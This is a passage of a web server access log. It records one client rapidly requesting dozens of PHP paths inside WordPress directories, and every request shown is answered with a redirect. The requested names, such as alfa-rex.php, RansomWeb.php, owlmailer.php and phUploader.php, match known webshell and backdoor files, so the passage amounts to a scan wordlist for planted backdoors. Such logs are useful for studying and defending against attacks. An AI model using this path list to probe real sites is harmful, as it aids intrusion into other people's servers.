(Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:56 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:56 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:56 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:56 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:56 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:57 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:57 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:57 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:57 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:57 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:57 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:57 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:22:57 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:57 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:22:58 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:58 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:58 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:22:58 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:22:58 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:58 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:58 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:58 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:59 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:59 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:59 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:59 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:59 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:59 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:59 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:23:00 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:23:00 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:23:00 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:00 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:00 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:23:00 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:23:00 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:00 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:23:00 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:23:01 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:23:01 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:01 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:01 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:01 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:01 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:23:01 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:01 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:01 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:23:02 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:02 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:23:02 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:23:02 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:02 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:23:02 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:02 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:03 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:03 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:03 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:23:03 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:23:03 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:23:03 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:03 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:03 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:23:03 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:23:04 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:23:04 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:04 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:23:04 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:23:04 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:04 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:04 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:04 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:23:05 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:05 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:05 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:23:05 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:05 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:05 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:05 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:05 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:06 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:06 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:06 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:23:06 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:23:06 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:23:06 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:23:06 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:23:06 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:23:06 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:23:07 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:07 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:23:07 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:07 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:07 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:07 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:07 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:23:08 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:23:08 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:08 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:23:08 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:08 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:23:08 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:23:08 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:23:09 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:09 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:09 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:09 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:09 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:23:09 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:10 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:10 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:10 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" 